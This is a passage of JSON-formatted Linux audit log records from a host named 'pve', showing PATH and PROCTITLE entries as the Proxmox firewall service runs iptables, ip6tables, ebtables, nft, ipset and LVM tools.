msg=audit(1781964690.302:62173): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964135649,"@rawstring":"node=pve type=PATH msg=audit(1781964135.649:59743): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964690302,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964690.302:62172): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964135649,"@rawstring":"node=pve type=PATH msg=audit(1781964135.649:59743): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964690302,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964690.302:62171): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964135642,"@rawstring":"node=pve type=PATH msg=audit(1781964135.642:59742): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135642,"@rawstring":"node=pve type=PATH msg=audit(1781964135.642:59742): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135636,"@rawstring":"node=pve type=PATH msg=audit(1781964135.636:59740): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135636,"@rawstring":"node=pve type=PATH msg=audit(1781964135.636:59740): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135630,"@rawstring":"node=pve type=PATH msg=audit(1781964135.630:59739): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135630,"@rawstring":"node=pve type=PATH msg=audit(1781964135.630:59739): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135625,"@rawstring":"node=pve type=PATH msg=audit(1781964135.625:59738): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135625,"@rawstring":"node=pve type=PATH msg=audit(1781964135.625:59738): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135620,"@rawstring":"node=pve type=PATH msg=audit(1781964135.620:59737): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135620,"@rawstring":"node=pve type=PATH msg=audit(1781964135.620:59737): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135614,"@rawstring":"node=pve type=PATH msg=audit(1781964135.614:59736): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135614,"@rawstring":"node=pve type=PATH msg=audit(1781964135.614:59736): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135609,"@rawstring":"node=pve type=PATH msg=audit(1781964135.609:59735): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135609,"@rawstring":"node=pve type=PATH msg=audit(1781964135.609:59735): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135602,"@rawstring":"node=pve type=PATH msg=audit(1781964135.602:59734): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135602,"@rawstring":"node=pve type=PATH msg=audit(1781964135.602:59734): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135597,"@rawstring":"node=pve type=PATH msg=audit(1781964135.597:59733): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135597,"@rawstring":"node=pve type=PATH msg=audit(1781964135.597:59733): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135593,"@rawstring":"node=pve type=PATH msg=audit(1781964135.593:59732): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135593,"@rawstring":"node=pve type=PATH msg=audit(1781964135.593:59732): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135589,"@rawstring":"node=pve type=PATH msg=audit(1781964135.589:59731): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135589,"@rawstring":"node=pve type=PATH msg=audit(1781964135.589:59731): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135587,"@rawstring":"node=pve type=PATH msg=audit(1781964135.587:59730): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135587,"@rawstring":"node=pve type=PATH msg=audit(1781964135.587:59730): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135587,"@rawstring":"node=pve type=PATH msg=audit(1781964135.587:59729): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135583,"@rawstring":"node=pve type=PATH msg=audit(1781964135.583:59728): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135583,"@rawstring":"node=pve type=PATH msg=audit(1781964135.583:59728): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135583,"@rawstring":"node=pve type=PATH msg=audit(1781964135.583:59728): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135576,"@rawstring":"node=pve type=PATH msg=audit(1781964135.576:59727): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135576,"@rawstring":"node=pve type=PATH msg=audit(1781964135.576:59727): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135569,"@rawstring":"node=pve type=PATH msg=audit(1781964135.569:59726): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135569,"@rawstring":"node=pve type=PATH msg=audit(1781964135.569:59726): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135564,"@rawstring":"node=pve type=PATH msg=audit(1781964135.564:59725): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135564,"@rawstring":"node=pve type=PATH msg=audit(1781964135.564:59725): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135558,"@rawstring":"node=pve type=PATH msg=audit(1781964135.558:59724): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135558,"@rawstring":"node=pve type=PATH msg=audit(1781964135.558:59724): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135551,"@rawstring":"node=pve type=PATH msg=audit(1781964135.551:59723): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135551,"@rawstring":"node=pve type=PATH msg=audit(1781964135.551:59723): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964134329,"@rawstring":"node=pve type=PATH msg=audit(1781964134.329:59722): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964134329,"@rawstring":"node=pve type=PATH msg=audit(1781964134.329:59722): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964134295,"@rawstring":"node=pve type=PATH msg=audit(1781964134.295:59721): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964134295,"@rawstring":"node=pve type=PATH msg=audit(1781964134.295:59721): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964133053,"@rawstring":"node=pve type=PATH msg=audit(1781964133.053:59720): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964133053,"@rawstring":"node=pve type=PATH msg=audit(1781964133.053:59720): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964133053,"@rawstring":"node=pve type=PATH msg=audit(1781964133.053:59719): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964133053,"@rawstring":"node=pve type=PATH msg=audit(1781964133.053:59718): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964133044,"@rawstring":"node=pve type=PATH msg=audit(1781964133.044:59717): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964133044,"@rawstring":"node=pve type=PATH msg=audit(1781964133.044:59717): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964133044,"@rawstring":"node=pve type=PATH msg=audit(1781964133.044:59716): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964133044,"@rawstring":"node=pve type=PATH msg=audit(1781964133.044:59715): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964128036,"@rawstring":"node=pve type=PATH msg=audit(1781964128.036:59714): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964128036,"@rawstring":"node=pve type=PATH msg=audit(1781964128.036:59714): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964128036,"@rawstring":"node=pve type=PATH msg=audit(1781964128.036:59713): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964128036,"@rawstring":"node=pve type=PATH msg=audit(1781964128.036:59712): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964128022,"@rawstring":"node=pve type=PATH msg=audit(1781964128.022:59711): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964128022,"@rawstring":"node=pve type=PATH msg=audit(1781964128.022:59711): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964128022,"@rawstring":"node=pve type=PATH msg=audit(1781964128.022:59710): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964128022,"@rawstring":"node=pve type=PATH msg=audit(1781964128.022:59709): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125539,"@rawstring":"node=pve type=PATH msg=audit(1781964125.539:59708): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125539,"@rawstring":"node=pve type=PATH msg=audit(1781964125.539:59708): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125535,"@rawstring":"node=pve type=PATH msg=audit(1781964125.535:59707): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125535,"@rawstring":"node=pve type=PATH msg=audit(1781964125.535:59707): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125534,"@rawstring":"node=pve type=PATH msg=audit(1781964125.534:59706): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125534,"@rawstring":"node=pve type=PATH msg=audit(1781964125.534:59706): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125534,"@rawstring":"node=pve type=PATH msg=audit(1781964125.534:59705): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125530,"@rawstring":"node=pve type=PATH msg=audit(1781964125.530:59704): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125530,"@rawstring":"node=pve type=PATH msg=audit(1781964125.530:59704): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125530,"@rawstring":"node=pve type=PATH msg=audit(1781964125.530:59704): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125523,"@rawstring":"node=pve type=PATH msg=audit(1781964125.523:59703): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125523,"@rawstring":"node=pve type=PATH msg=audit(1781964125.523:59703): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125516,"@rawstring":"node=pve type=PATH msg=audit(1781964125.516:59702): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125516,"@rawstring":"node=pve type=PATH msg=audit(1781964125.516:59702): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125509,"@rawstring":"node=pve type=PATH msg=audit(1781964125.509:59701): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125509,"@rawstring":"node=pve type=PATH msg=audit(1781964125.509:59701): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125501,"@rawstring":"node=pve type=PATH msg=audit(1781964125.501:59700): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125501,"@rawstring":"node=pve type=PATH msg=audit(1781964125.501:59700): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125496,"@rawstring":"node=pve type=PATH msg=audit(1781964125.496:59698): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125496,"@rawstring":"node=pve type=PATH msg=audit(1781964125.496:59698): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125491,"@rawstring":"node=pve type=PATH msg=audit(1781964125.491:59697): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125491,"@rawstring":"node=pve type=PATH msg=audit(1781964125.491:59697): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125485,"@rawstring":"node=pve type=PATH msg=audit(1781964125.485:59696): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125485,"@rawstring":"node=pve type=PATH msg=audit(1781964125.485:59696): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125479,"@rawstring":"node=pve type=PATH msg=audit(1781964125.479:59695): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125479,"@rawstring":"node=pve type=PATH msg=audit(1781964125.479:59695): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125474,"@rawstring":"node=pve type=PATH msg=audit(1781964125.474:59694): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125474,"@rawstring":"node=pve type=PATH msg=audit(1781964125.474:59694): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125467,"@rawstring":"node=pve type=PATH msg=audit(1781964125.467:59693): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125467,"@rawstring":"node=pve type=PATH msg=audit(1781964125.467:59693): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125460,"@rawstring":"node=pve type=PATH msg=audit(1781964125.460:59692): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125460,"@rawstring":"node=pve type=PATH msg=audit(1781964125.460:59692): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125453,"@rawstring":"node=pve type=PATH msg=audit(1781964125.453:59691): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 